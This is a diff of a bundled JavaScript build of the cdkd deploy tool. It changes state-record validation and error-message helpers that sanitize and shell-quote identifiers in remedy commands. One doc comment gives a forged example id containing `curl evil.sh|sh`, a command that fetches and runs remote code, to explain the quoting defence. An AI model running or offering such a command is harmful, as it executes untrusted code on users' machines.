  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so reading it would hand this local run one FABRICATED output per character or element. Continuing with it EMPTY: every reference to an output of this record resolves to nothing and is dropped, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21844
21999
  }
21845
22000
  /** How many logical ids a `properties` message names before it says "and N more". */
@@ -21874,8 +22029,8 @@ const NAMED_UNREADABLE_PROPERTY_BAGS = 5;
21874
22029
  */
21875
22030
  function stackClause(stackName, region) {
21876
22031
  if (stackName === void 0) return "The state record this command loaded";
21877
- const where = region === void 0 ? "" : ` (${shellQuote(safeIdentifier(region))})`;
21878
- return `State for ${shellQuote(safeIdentifier(stackName))}${where}`;
22032
+ const where = region === void 0 ? "" : ` (${shellQuote(safeRegion(region))})`;
22033
+ return `State for ${shellQuote(safeStackName(stackName))}${where}`;
21879
22034
  }
21880
22035
  /**
21881
22036
  * The DESTRUCTIVE remedy, built the way {@link inspectCommand} builds the
@@ -21944,8 +22099,9 @@ function dropRecordCommand(stackName, region, recovery) {
21944
22099
  /**
21945
22100
  * Whether an identity survives {@link safeIdentifier} UNCHANGED at the
21946
22101
  * state-record grammar's cap, so a command or a key built from it addresses the
21947
- * record the message is about. The cap is `STACK_REF_MAX_CODE_POINTS`, not the
21948
- * 128 the prose uses: `cdkd orphan` reads a PREBUILT assembly's stack name
22102
+ * record the message is about. The cap is `STACK_REF_MAX_CODE_POINTS` — the cap
22103
+ * the prose also cuts a stack name at, never a region's 128 — because
22104
+ * `cdkd orphan` reads a PREBUILT assembly's stack name
21949
22105
  * unvalidated, so a manifest can carry one past 128 that is nonetheless the
21950
22106
  * record's real key, and truncating it names nothing — the same bound
21951
22107
  * `malformedDestroyResourcesRefusalMessage` uses, reached from a different
@@ -21957,8 +22113,8 @@ function dropRecordCommand(stackName, region, recovery) {
21957
22113
  * ({@link orphanInspectClause}) — so no two of them can disagree about a name
21958
22114
  * (go-to-k/cdkd#3363 review, M0 and M2). What it does NOT cover yet: the
21959
22115
  * destroy refusal and the divergent-region refusal above still spell the same
21960
- * test inline, and the shared {@link inspectCommand} is ungated at 128 for its
21961
- * other callers.
22116
+ * test inline, and the shared {@link inspectCommand} is ungated for its other
22117
+ * callers (it renders the stack at that same cap, the region at 128).
21962
22118
  */
21963
22119
  function rendersExactly(value) {
21964
22120
  return safeIdentifier(value, STACK_REF_MAX_CODE_POINTS) === value;
@@ -21966,8 +22122,8 @@ function rendersExactly(value) {
21966
22122
  /** The remedy command {@link stackClause}'s message ends on. */
21967
22123
  function inspectCommand(stackName, region) {
21968
22124
  if (stackName === void 0) return `cdkd state show ${commandHole("stack")} --stack-region ${commandHole("region")} --json`;
21969
- const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeIdentifier(region))}`;
21970
- return `cdkd state show ${shellQuote(safeIdentifier(stackName))}${flag} --json`;
22125
+ const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeRegion(region))}`;
22126
+ return `cdkd state show ${shellQuote(safeStackName(stackName))}${flag} --json`;
21971
22127
  }
21972
22128
  /**
21973
22129
  * The logical ids whose resource record carries a `properties` bag that cannot
@@ -21992,11 +22148,18 @@ function inspectCommand(stackName, region) {
21992
22148
  * it is one of the two shapes that used to die on a bare `TypeError` naming no
21993
22149
  * stack, no key and no remedy (`Cannot convert undefined or null to object`).
21994
22150
  *
21995
- * An entry that is not a readable OBJECT is SKIPPED rather than named, so this
21996
- * verdict is ORDER-INDEPENDENT with respect to the entry-level guard
21997
- * go-to-k/cdkd#3226 adds: a `null` entry has no `properties` to test, and
21998
- * reading one off a string entry would name a per-character defect that is
21999
- * really the entry's. Likewise a `resources` bag that is not readable at all
22151
+ * An entry that is not a readable OBJECT is SKIPPED rather than named: a `null`
22152
+ * entry has no `properties` to test, and reading one off a string entry would
22153
+ * name a per-character defect that is really the entry's. That makes this
22154
+ * verdict independent of {@link unreadableResourceEntries} for every entry
22155
+ * that is not an object — but NOT for an object with no `resourceType` whose
22156
+ * `properties` map is also unreadable, which both predicates name. A read-only caller that takes both therefore drops
22157
+ * entries FIRST ({@link repairMalformedResourceEntriesForReadOnly}), so the
22158
+ * row is reported once, as unreadable, rather than warned about as a preview
22159
+ * and then dropped. The object test stays here rather than
22160
+ * {@link isReadableResourceEntry} because the deploy path takes this
22161
+ * predicate WITHOUT the entry one, and narrowing it would let a typeless
22162
+ * object with a torn map reach the comparison unrefused. Likewise a `resources` bag that is not readable at all
22000
22163
  * yields `[]` here rather than ids invented from a string's characters — that
22001
22164
  * class is {@link hasReadableResources}'s to report. What a caller must not do
22002
22165
  * is take only this one.
@@ -22096,9 +22259,8 @@ function repairMalformedResourcePropertiesForReadOnly(state) {
22096
22259
  /**
22097
22260
  * The half the refusal and the warning share: what is wrong and which records.
22098
22261
  *
22099
- * ONE spelling rather than two, for the reason {@link malformedStateDetail}
22100
- * exists beside its own pair — the two texts differ only in what happens NEXT,
22101
- * and a second copy of the diagnosis is what drifts.
22262
+ * ONE spelling rather than two, because the two texts differ only in what
22263
+ * happens NEXT, and a second copy of the diagnosis is what drifts.
22102
22264
  *
22103
22265
  * The STACK and REGION go through {@link safeIdentifier} and are THEN
22104
22266
  * shell-quoted, for the reasons that helper's own note gives: each reaches this
@@ -22129,10 +22291,10 @@ function repairMalformedResourcePropertiesForReadOnly(state) {
22129
22291
  * id ending `Prod...`.
22130
22292
  *
22131
22293
  * The cap is passed EXPLICITLY although it equals the default: a logical id is
22132
- * valid up to `IDENT_MAX_CODE_POINTS`, and the point of not reusing
22133
- * {@link safeIdentifier} here is that its 128 would truncate a legitimate long
22134
- * id into one naming no record. Spelling the cap keeps that decision visible at
22135
- * the site it was made for.
22294
+ * valid up to `IDENT_MAX_CODE_POINTS` — the cap {@link displayLogicalId} also
22295
+ * takes — and a region-sized cut would truncate a legitimate long id into one
22296
+ * naming no record. Spelling the cap keeps that decision visible at the site it
22297
+ * was made for.
22136
22298
  *
22137
22299
  * Known residual, NOT introduced here: `,` is in `PLAIN_IDENT`, so an id
22138
22300
  * carrying one still renders bare inside this `', '`-joined list and reads as
@@ -22268,7 +22430,8 @@ function malformedResourcePropertiesRefusalMessage(stackName, region, logicalIds
22268
22430
  *
22269
22431
  * `rawStackName` / `rawRegion` are the CALLER's resolved identity — the synthesized
22270
22432
  * stack name and the region `pickStackRegion` settled on, never the record's
22271
- * own unvalidated self-report. See {@link stackClause}.
22433
+ * own unvalidated self-report (though an assembly-supplied stack name is not
22434
+ * validated either — go-to-k/cdkd#3360). See {@link stackClause}.
22272
22435
  */
22273
22436
  function malformedOrphanResourcePropertiesRefusalMessage(rawStackName, rawRegion, logicalIds, recovery) {
22274
22437
  const stackName = rawStackName === "" ? void 0 : rawStackName;
@@ -22504,6 +22667,214 @@ function malformedResourcePropertiesWarning(stackName, region, logicalIds) {
22504
22667
  function producerRecordKey(stackName, region) {
22505
22668
  return JSON.stringify([stackName, region]);
22506
22669
  }
22670
+ /**
22671
+ * How many unreadable logical ids a message names before summarizing. Read by
22672
+ * every builder that names ids — the refusal below, `namedEntriesClause` and
22673
+ * `malformedOrphanRecordsWarning` — so "the refusal below" was the count of
22674
+ * readers at the time it was written, not a scope.
22675
+ *
22676
+ * Five rather than the ten the `cdkd export` baseline report uses: this text
22677
+ * already carries the remedy command, and that command has to stay on the
22678
+ * reader's screen (the reason {@link safeIdentifier} caps a name at all).
22679
+ */
22680
+ const NAMED_UNREADABLE_ENTRIES = 5;
22681
+ /**
22682
+ * The logical ids of every `resources` ENTRY that is not a readable object.
22683
+ *
22684
+ * A DIFFERENT shape from the unreadable BAG the rest of this module is about,
22685
+ * and one {@link hasReadableResources} says nothing about: it tests the bag, so
22686
+ * `{"resources": {"R": null}}` passes it and the `null` surfaces one
22687
+ * dereference later (issue go-to-k/cdkd#3018 items 1 and 2). Returns `[]` for an
22688
+ * unreadable BAG rather than inventing ids from it — a string bag would
22689
+ * otherwise yield one "id" per character. That makes the two refusals
22690
+ * ORDER-INDEPENDENT rather than ordered: whichever runs first, an unreadable
22691
+ * bag leaves this one silent and is caught by {@link refuseMalformedState}.
22692
+ * What a caller must not do is take only this one.
22693
+ */
22694
+ function unreadableResourceEntries(state) {
22695
+ if (!hasReadableResources(state)) return [];
22696
+ return Object.entries(state.resources).filter(([, entry]) => !isReadableResourceEntry(entry)).map(([logicalId]) => logicalId);
22697
+ }
22698
+ /**
22699
+ * Can this ENTRY be read as a resource record at all?
22700
+ *
22701
+ * Object-ness is NOT the whole question, and taking {@link isReadableBag} for
22702
+ * the answer left a shape crashing one line past the guard: `{"R": {}}` is an
22703
+ * object, so it passed, and then `resource.resourceType.startsWith(...)` threw
22704
+ * — the same bare `TypeError` the `null` entry beside it no longer produces.
22705
+ * `resourceType` is the one field every reader of an entry touches before any
22706
+ * other (the Custom-Resource routing, the provider lookup, the skip list), so
22707
+ * it is the field that decides whether the row can be read at all.
22708
+ *
22709
+ * Deliberately NOT a widening of {@link isReadableBag}. That predicate answers
22710
+ * a question about CONTAINERS — the bag, and the four rendered containers
22711
+ * go-to-k/cdkd#3187 added — and a resource-shaped test there would refuse an
22712
+ * `outputs` map for having no `resourceType`.
22713
+ *
22714
+ * It stops at `resourceType` rather than checking `physicalId` or `properties`
22715
+ * too, and the message this feeds says only what it checks: a row with a type
22716
+ * but no physical id IS readable here, fails per-resource where it is used, and
22717
+ * is reported by that command in its own terms.
22718
+ */
22719
+ function isReadableResourceEntry(entry) {
22720
+ return isReadableBag(entry) && typeof entry.resourceType === "string";
22721
+ }
22722
+ /**
22723
+ * For a command that READS each resource record and WRITES the bag back: refuse
22724
+ * the record naming the entries it could not read.
22725
+ *
22726
+ * **Deliberately NOT folded into {@link refuseMalformedState}**, and the reason
22727
+ * is behavioural rather than tidiness: folding it would decide, for every one of
22728
+ * that function's callers at once, that ANY unreadable row blocks the whole
22729
+ * command — a call none of them has made. `cdkd rollback` is the counter-example
22730
+ * that settles it: its executor reaches a record by logical id and treats a
22731
+ * falsy one as `skip-already-done`, so an unrelated broken row costs it nothing
22732
+ * and refusing would stop the command documented as the way to UNWIND a stack
22733
+ * whose state is already suspect. The other callers (`cdkd import`,
22734
+ * `cdkd orphan`, `cdkd scrub`) each owe their own classification; `cdkd orphan`
22735
+ * does still throw on an unreadable sibling, which is why that one is tracked on
22736
+ * go-to-k/cdkd#3202 rather than answered here by a shared refusal.
22737
+ *
22738
+ * So the entry rule is OPT-IN, taken by a flow that dereferences EVERY entry and
22739
+ * writes the record back.
22740
+ *
22741
+ * REFUSE rather than skip, at both sites that take it — `cdkd state
22742
+ * refresh-observed`, and `cdkd drift` under `--accept` / `--revert` — because
22743
+ * each is a WRITER. Skipping would report a clean run (`N refreshed, M
22744
+ * unsupported`; `N resources checked`) with the corrupt entries invisible and
22745
+ * then save the record back, so the ONE thing the user could have acted on
22746
+ * would be the thing the run did not say. Naming them costs nothing a skip
22747
+ * would have preserved either: both refusals happen before this stack's lock
22748
+ * and before any AWS read of it, so no partial work on it is thrown away.
22749
+ *
22750
+ * PER STACK, which is why the message says so — and the callers reach a
22751
+ * multi-stack refusal differently. `cdkd state refresh-observed` checks every
22752
+ * target's shape before it saves any, so a record ALREADY malformed stops the
22753
+ * run before a write; only one edited between that check and its own refresh
22754
+ * reaches this call after the stacks ahead of it were saved. `cdkd drift --all`
22755
+ * collects every stack's report before either writer runs. The message cannot
22756
+ * tell which case it is in, so it claims only what holds for both.
22757
+ *
22758
+ * That is not an argument that a skip is always wrong — the read-only twin
22759
+ * {@link repairMalformedResourceEntriesForReadOnly} does exactly that, for
22760
+ * plain `cdkd drift` and `cdkd diff`, and warns. What makes the difference is
22761
+ * the WRITE, not the shape.
22762
+ *
22763
+ * Unlike {@link repairMalformedResourcesForReadOnly} this never mutates: the
22764
+ * entries stay exactly as stored, which is what keeps the record's own evidence
22765
+ * intact for whoever inspects it next.
22766
+ */
22767
+ function refuseMalformedResourceEntries(state, stackName, region) {
22768
+ const unreadable = unreadableResourceEntries(state);
22769
+ if (unreadable.length === 0) return;
22770
+ throw new CdkdError(malformedResourceEntriesRefusalMessage(stackName, region, unreadable), STATE_RESOURCES_MALFORMED);
22771
+ }
22772
+ /**
22773
+ * For a READ-ONLY command: drop every entry {@link unreadableResourceEntries}
22774
+ * names, so the command can report on the rest, and return what it dropped so
22775
+ * the caller can warn.
22776
+ *
22777
+ * The entry-level twin of {@link repairMalformedResourcesForReadOnly}, and it
22778
+ * makes the same trade for the same reason: a command that cannot WRITE cannot
22779
+ * launder anything, and reporting on the readable resources beats aborting on
22780
+ * the first unreadable one. It is a DROP rather than a repair-to-`{}` because
22781
+ * there is no empty `ResourceState` that would be honest — a record with no
22782
+ * `resourceType` and no `physicalId` names no AWS resource — so the entry leaves
22783
+ * the working copy entirely and the caller says so.
22784
+ *
22785
+ * Call it AFTER {@link repairMalformedResourcesForReadOnly}: an unreadable BAG
22786
+ * has no entries to drop, and {@link unreadableResourceEntries} deliberately
22787
+ * returns `[]` for one rather than inventing ids from a string's characters.
22788
+ *
22789
+ * Mutates the in-memory record only. Every caller today renders from the
22790
+ * command's own derived output rather than echoing the record back, so the drop
22791
+ * is visible as missing ROWS — which is exactly what the warning describes.
22792
+ */
22793
+ function repairMalformedResourceEntriesForReadOnly(state) {
22794
+ const unreadable = unreadableResourceEntries(state);
22795
+ for (const logicalId of unreadable) delete state.resources[logicalId];
22796
+ return unreadable;
22797
+ }
22798
+ /** The warning a caller of {@link repairMalformedResourceEntriesForReadOnly} emits. */
22799
+ function malformedResourceEntriesWarning(stackName, region, logicalIds) {
22800
+ const stack = safeStackName(stackName);
22801
+ const reg = safeRegion(region);
22802
+ return `${namedEntriesClause(stackName, region, logicalIds)} Continuing WITHOUT them: this command's output describes the remaining resources only, which is not the same as the stack holding none of these. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22803
+ }
22804
+ /**
22805
+ * The `orphans[]` twin of {@link malformedResourceEntriesWarning}, and a
22806
+ * SEPARATE text rather than a parameter on that one.
22807
+ *
22808
+ * The shared clause says "holds N resource record(s) … the remaining resources
22809
+ * only", which sends a reader to the wrong container: the id it names was read
22810
+ * from `orphans`, and what that clause describes is the `resources` map
22811
+ * (go-to-k/cdkd#3226 review round 5, M16). Neither "the id is not in
22812
+ * `resources`" nor "that map is healthy" is safe to assert — an already-managed
22813
+ * logical id appears in both containers, and both can be damaged in one record,
22814
+ * which is the case where BOTH texts fire for one stack in one run, opening with
22815
+ * the identical sentence and differing only in the id list. That is why the
22816
+ * container has to be IN the sentence rather than inferred from it.
22817
+ *
22818
+ * What it does NOT say, deliberately: that the record would have been adopted.
22819
+ * `planOrphanAdoption` decides that, and a record it would have declined for
22820
+ * an unrelated reason (already managed, a type this binary cannot route) is
22821
+ * dropped here just the same — promising an adoption that was never going to
22822
+ * happen is the {@link malformedResourcePropertiesWarning} over-claim one
22823
+ * container over.
22824
+ *
22825
+ * Identifiers take the same path as every other builder here: the stack at
22826
+ * `safeStackName`, the region at `safeRegion`, each id through
22827
+ * {@link displayLogicalId}, and the ids capped at
22828
+ * {@link NAMED_UNREADABLE_ENTRIES} with an overflow count — a record whose
22829
+ * `logicalId` is not a string arrives as `''` and renders as the
22830
+ * `UNRENDERABLE` stand-in.
22831
+ */
22832
+ function malformedOrphanRecordsWarning(stackName, region, logicalIds) {
22833
+ const stack = safeStackName(stackName);
22834
+ const reg = safeRegion(region);
22835
+ const named = logicalIds.slice(0, NAMED_UNREADABLE_ENTRIES).map((id) => displayLogicalId(id)).join(", ");
22836
+ const rest = logicalIds.length - NAMED_UNREADABLE_ENTRIES;
22837
+ const more = rest > 0 ? ` and ${rest} more` : "";
22838
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) holds ${logicalIds.length} rollback-orphan record(s) in 'orphans' that cannot be read as resources — ${named}${more} — because they are not objects, or carry no resource type. Continuing WITHOUT them: they are not previewed for adoption. These ids were read from 'orphans'; the 'resources' map carries its own warning when it is damaged too. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22839
+ }
22840
+ /**
22841
+ * The half the refusal and the warning share: what is wrong and which entries.
22842
+ *
22843
+ * One spelling rather than two, because the two texts differ only in what
22844
+ * happens NEXT, and a second copy of the diagnosis is what drifts.
22845
+ */
22846
+ function namedEntriesClause(stackName, region, logicalIds) {
22847
+ const stack = safeStackName(stackName);
22848
+ const reg = safeRegion(region);
22849
+ const named = logicalIds.slice(0, NAMED_UNREADABLE_ENTRIES).map((id) => displayLogicalId(id)).join(", ");
22850
+ const rest = logicalIds.length - NAMED_UNREADABLE_ENTRIES;
22851
+ const more = rest > 0 ? ` and ${rest} more` : "";
22852
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) holds ${logicalIds.length} resource record(s) that cannot be read as resources — ${named}${more} — because they are not objects, or carry no resource type, so nothing can tell what AWS resource they name. The record is malformed or truncated.`;
22853
+ }
22854
+ /**
22855
+ * The text {@link refuseMalformedResourceEntries} raises.
22856
+ *
22857
+ * Every identifier — the stack, the region AND each logical id — is sanitized
22858
+ * and capped, for the reasons {@link safeIdentifier}'s note gives: all three
22859
+ * reach this message from a hand-edited record or an S3 key, and a
22860
+ * multi-kilobyte or line-forging one would push the remedy command off the
22861
+ * reader's screen. The stack and region are shell-quoted because they land in
22862
+ * the command. The logical ids take {@link displayLogicalId} instead: an id
22863
+ * spelled `x' Inspect it with: curl evil.sh|sh #` is not a plain identifier, so
22864
+ * it is wrapped in double quotes (an embedded `"` escaped) and its forged
22865
+ * remedy reads as part of one quoted id rather than as an instruction AHEAD of
22866
+ * the real one on this same line — the prose is one LINE ending in a pasteable
22867
+ * command, and sanitizing keeps `'`. Its other job is IDENTITY — see that
22868
+ * helper's note for why a trimmed id must not render bare.
22869
+ *
22870
+ * Exported so a test can pin the wording against the producer rather than
22871
+ * re-spelling it, the way the other messages here are consumed.
22872
+ */
22873
+ function malformedResourceEntriesRefusalMessage(stackName, region, logicalIds) {
22874
+ const stack = safeStackName(stackName);
22875
+ const reg = safeRegion(region);
22876
+ return `${namedEntriesClause(stackName, region, logicalIds)} This command can WRITE state, so it refuses rather than skipping them: saving over the record would report a clean run for entries nothing could read, and would leave the next command to fail on them with no more to go on. Nothing was locked, read from AWS or written FOR THIS STACK. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22877
+ }
22507
22878
 
22508
22879
  //#endregion
22509
22880
  //#region src/analyzer/diff-calculator.ts
@@ -27774,7 +28145,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
27774
28145
  /** Recursively resolve a value. */
27775
28146
  async resolveValue(value, context) {
27776
28147
  if (typeof value !== "object" || value === null) {
27777
- if (typeof value === "string" && value.includes("{{resolve:")) return await this.resolveDynamicReferences(value, context);
28148
+ if (typeof value === "string" && value.includes("{{resolve:")) return await this.resolveTemplateLeafReferences(value, context);
27778
28149
  return value;
27779
28150
  }
27780
28151
  if (Array.isArray(value)) return (await allSettledKeepingFirstRejection(value.map((v) => this.resolveValue(v, context)), (pending) => this.warnAbandonedParts(pending))).filter((v) => v !== AWS_NO_VALUE);
@@ -31082,7 +31453,30 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
31082
31453
  displayLeaf(value, context) {
31083
31454
  return this.displayMasked(this.logTextOfLeaf(value, context), context);
31084
31455
  }
31456
+ /**
31457
+ * Resolve the dynamic references of a PERSISTED string leaf: text read back
31458
+ * out of a state record, a rollback journal or a producer stack's outputs.
31459
+ * That is what every caller of this method hands it (`cdkd drift`, the
31460
+ * rollback replay, `cdkd scrub`'s per-token delegation, the cross-stack
31461
+ * re-resolution); a TEMPLATE leaf goes through {@link resolve}, which takes
31462
+ * {@link resolveTemplateLeafReferences}.
31463
+ *
31464
+ * The distinction is load-bearing for ONE arm (issue #2743). A token of a
31465
+ * service cdkd does not resolve is REFUSED on the template route when it
31466
+ * holds a secret, because leaving it would send that secret to AWS for the
31467
+ * first time. Persisted text is different on both counts: AWS already holds
31468
+ * it, so refusing buys no confidentiality, and the refusal is DETERMINISTIC
31469
+ * there -- a journal `previousState` holding `{{resolve:<plaintext>}}` beside
31470
+ * the reference that resolves to it would fail its rollback op on every
31471
+ * retry, where replaying the literal is a correct no-op. So this entry point
31472
+ * keeps the warn-and-leave for every such token, and the value scan redacts
31473
+ * whatever is persisted afterwards.
31474
+ */
31085
31475
  async resolveDynamicReferences(value, context) {
31476
+ return (await this.resolveDynamicReferencesWithLogTwin(value, value, context, void 0, true)).result;
31477
+ }
31478
+ /** A TEMPLATE string leaf: the refusing route (see {@link resolveDynamicReferences}). */
31479
+ async resolveTemplateLeafReferences(value, context) {
31086
31480
  return (await this.resolveDynamicReferencesWithLogTwin(value, value, context)).result;
31087
31481
  }
31088
31482
  /**
@@ -31105,7 +31499,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
31105
31499
  * NEEDLE match that straddles a masked span, which is why the log lines go
31106
31500
  * through `logTwinText` rather than masking the twin alone.
31107
31501
  */
31108
- async resolveDynamicReferencesWithLogTwin(value, logTwin, context, inherited) {
31502
+ async resolveDynamicReferencesWithLogTwin(value, logTwin, context, inherited, persistedText = false) {
31109
31503
  const pattern = /\{\{resolve:([^}]+)\}\}/g;
31110
31504
  let result = value;
31111
31505
  let twin = logTwin;
@@ -31136,7 +31530,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
31136
31530
  const foreign = await this.resolverForProducerRegion(regionVerdict.region, context, nameLogText(regionVerdict.region)).resolveDynamicReferencesWithLogTwin(fullMatch, fullMatch, withoutProducerRegions(context), {
31137
31531
  tokenLogText,
31138
31532
  nameLogText
31139
- });
31533
+ }, persistedText);
31140
31534
  result = result.replace(fullMatch, () => foreign.result);
31141
31535
  twin = twin.replace(fullMatch, () => foreign.twin);
31142
31536
  const [delegated] = foreign.substitutions;
@@ -31200,6 +31594,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
31200
31594
  isSecret = true;
31201
31595
  resolved = param.value;
31202
31596
  } else {
31597
+ if (!persistedText && (tokenLogText !== fullMatch || this.maskNeedlesForLog(fullMatch, context) !== fullMatch)) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to resolve ${this.displayMasked(tokenLogText, context)}: its service is not one cdkd resolves (secretsmanager, ssm, ssm-secure), and the reference was assembled from a secret value, so leaving it as written would send that value to AWS and record it in state in the clear.`));
31203
31598
  this.logger.warn(this.displayMasked(`Unsupported dynamic reference service: ${this.displayMasked(nameLogText(String(service)), context)}`, context));
31204
31599
  complete = false;
31205
31600
  continue;
@@ -33152,7 +33547,7 @@ var CloudControlProvider = class {
33152
33547
  const indeterminateGuard = await this.confirmDeleteTargetIdentity(logicalId, resourceType, physicalId, context);
33153
33548
  if (context?.removeProtection === true && resourceType === "AWS::AutoScaling::AutoScalingGroup") {
33154
33549
  this.logger.debug(`Delegating protected AutoScalingGroup ${logicalId} delete to the SDK ASGProvider (Cloud Control cannot force-delete a protected ASG)`);
33155
- const { ASGProvider } = await import("./asg-provider-CXLgFrPg.js").then((n) => n.n);
33550
+ const { ASGProvider } = await import("./asg-provider-CH4oHOxq.js").then((n) => n.n);
33156
33551
  const asgProvider = new ASGProvider();
33157
33552
  return withIndeterminateGuard(await asgProvider.delete(logicalId, physicalId, resourceType, _properties, context), indeterminateGuard);
33158
33553
  }
@@ -46860,5 +47255,5 @@ var DeployEngine = class DeployEngine {
46860
47255
  };
46861
47256
 
46862
47257
  //#endregion
46863
- export { yellow as $, NestedStackChildDirectDestroyError as $i, identityKeyFor as $n, getDockerCmd as $r, requireConfigObject as $t, createPreDeleteFinalSnapshot as A, PARTITION_TABLE as Ai, refuseMalformedNestedChildOutputs as An, stringifyValue as Ar, carriesDynamicReference as At, isStatefulRecreateTargetSync as B, setAwsClients as Bi, findSilentDropProperties as Bn, getBootstrapMarkerKey as Br, isSettledInstanceState as Bt, namesAnyDeclaredParameter as C, CFN_TEMPLATE_URL_LIMIT as Ci, malformedOutputsWarning as Cn, importableOutputKeys as Cr, slowCcOperationTimeoutMs as Ct, PRE_DELETE_SNAPSHOT_TYPES as D, CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION as Di, malformedStateRefusalMessage as Dn, orphansCarriedFrom as Dr, disableInstanceApiTermination as Dt, ATOMIC_FINAL_SNAPSHOT_TYPES as E, uploadCfnTemplate as Ei, malformedResourcesWarning as En, orphansAfterRollback as Er, deleteSkipReason as Et, extractDeploymentEventError as F, clearBucketRegionCache as Fi, refuseMalformedState as Fn, rewriteTemplateAssetReferences as Fr, isImpossibleEmptyStoredAttribute as Ft, toCfnInteger as G, DependencyError as Gi, STATE_SOURCED_BASELINE_RULES as Gn, validateContainerRepoName as Gr, coerceCfnBoolean as Gt, WARM_THROUGHPUT_MEMBERS as H, CdkdError as Hi, withRetry as Hn, parseBootstrapMarker as Hr, normalizeAwsTagsToCfn as Ht, makeSiblingClaimReader as I, resolveBucketRegion as Ii, repairMalformedOutputsForReadOnly as In, AssetModeResolver as Ir, isNamelessDynamicReferenceError as It, bold as J, IntrinsicResolutionRefusalError as Ji, TEMPLATE_SOURCED_RULES as Jn, describeDockerCapturedOutput as Jr, configIntegerRefusal as Jt, toFiniteNumber as K, DeployCancelledError as Ki, STATE_SOURCED_CROSS_GENERATION_RULES as Kn, buildDenyExternalAccessPolicy as Kr, coerceCfnInteger as Kt, planOrphanAdoption as L, AwsClients as Li, repairMalformedResourcePropertiesForReadOnly as Ln, BOOTSTRAP_MARKER_PREFIX as Lr, isUnboundTemplateParameter as Lt, refusesFinalSnapshot as M, derivePartitionAndUrlSuffix as Mi, refuseMalformedOutputsForDestroy as Mn, buildAssetRedirectMap as Mr, cfnRefValueFromPhysicalId as Mt, unsupportedFinalSnapshotError as N, AssemblyReader as Ni, refuseMalformedResourcePropertiesForOrphan as Nn, createAssetRedirectResolver as Nr, coerceParameterTypedValue as Nt, buildFinalSnapshotIdentifier as O, decodeListingKey as Oi, producerRecordKey as On, shouldRetainResource as Or, isTerminationProtectionPropagationError as Ot, makeCanonicalizePropertiesFn as P, processStackMessages as Pi, refuseMalformedResourcesForDestroy as Pn, loadPublishableAssetManifest as Pr, getAccountInfo as Pt, red as Q, MalformedProducerRecordRefusalError as Qi, errorCauseChain as Qn, formatDockerLoginError as Qr, requireConfigArray as Qt, MULTI_REGION_RECREATE_BLOCKED_TYPES as R, getAwsClients as Ri, repairMalformedResourcesForReadOnly as Rn, assertAssetBucketRegion as Rr, parameterTypeMayLoseSecretIdentity as Rt, computeParameterTaint as S, CFN_TEMPLATE_BODY_LIMIT as Si, malformedOutputsRefusalMessage as Sn, hasUnverifiableParameterRefusal as Sr, isWaitAbandonedError as St, resourcesNamingDeclaredParameter as T, findLargeInlineResources as Ti, malformedResourcePropertiesWarning as Tn, isReadableBag as Tr, deleteIndeterminateGuards as Tt, coerceWarmThroughput as U, ConfigError as Ui, DagBuilder as Un, readBootstrapMarkerBody as Ur, resolveExplicitPhysicalId as Ut, renderStatefulReason as V, AssetError as Vi, describeTypeWithThrottleRetry as Vn, isCrossRegionRedirect as Vr, WAFv2WebACLProvider as Vt, isWarmThroughputDecrease as W, CrossAccountSecretRefusalError as Wi, TemplateParser as Wn, validateAssetBucketName as Wr, assertRegionMatch as Wt, gray as X, LocalStartServiceError as Xi, createSecretMasker as Xn, describeDockerFailure as Xr, readConfigString as Xt, cyan as Y, LocalInvokeBuildError as Yi, carriesSecretMask as Yn, describeDockerExecFailure as Yr, configStringRefusal as Yt, green as Z, LockError as Zi, dynamicReferenceTokens as Zn, dockerSpawnEnvWithSensitive as Zr, replayWarn as Zt, bagHoldsSecretExpression as _, markRedactedCause as _a, resolveStateBucketWithDefaultAndSource as _i, hasReadableOutputs as _n, CUSTOM_RESOURCE_RESPONSE_PREFIX as _r, endCommandInterruptScope as _t, DeploymentEventsStore as a, StackTerminationProtectionError as aa, stripControlChars as ai, s3BucketDomainName as an, recoverMaskedOutput as ar, secretBearingStateKeyWarning as at, mergeNoChangeOutputs as b, safeStringify$1 as ba, warnDeprecatedNoPrefixCliFlag as bi, malformedExportSourceWarning as bn, hasReadableExportSet as br, startInterruptWatch as bt, replayFailedOperations as c, formatError as ca, Synthesizer as ci, s3BucketWebsiteUrl as cn, LockManager as cr, IAMRoleProvider as ct, updatePartialMessage as d, withErrorHandling as da, getLegacyStateBucketName as di, applyCallerIdentityCredentials as dn, UNREPRODUCIBLE_LOCK_CLAUSE as dr, ProviderRegistry as dt, PartialFailureError as ea, partitionSensitiveEnv as ei, requireConfigString as en, isSingleDynamicReferenceToken as er, collectDeclaredOutputNames as et, updatePartialReason as f, isMarkedNonRetryable as fa, resolveApp as fi, callerEnvCredentials as fn, buildForceUnlockCommand as fr, wouldReturnToSdkProvider as ft, computeImplicitDeleteEdges as g, markNonRetryable as ga, resolveStateBucketWithDefault as gi, STATE_RESOURCES_MALFORMED as gn, shellQuote as gr, beginCommandInterruptScope as gt, IMPLICIT_DELETE_DEPENDENCIES as h, isTransientServerError as ha, resolveSkipPrefix as hi, INTRINSIC_KEYS as hn, formatLockExpiry as hr, maskerOrIdentity as ht, DeploymentEventsReader as i, StackHasActiveImportsError as ia, escapeRegExp$1 as ii, s3BucketArn as in, recordMaskOnlyValue as ir, secretBearing as it, isFinalSnapshotError as j, canonicalizeRegion as ji, refuseMalformedOutputs as jn, WorkGraph as jr, carriesFetchableDynamicReference as jt, ccRoutedFinalSnapshotError as k, expectedOwnerParam as ki, refuseDivergentRecordRegionForDestroy as 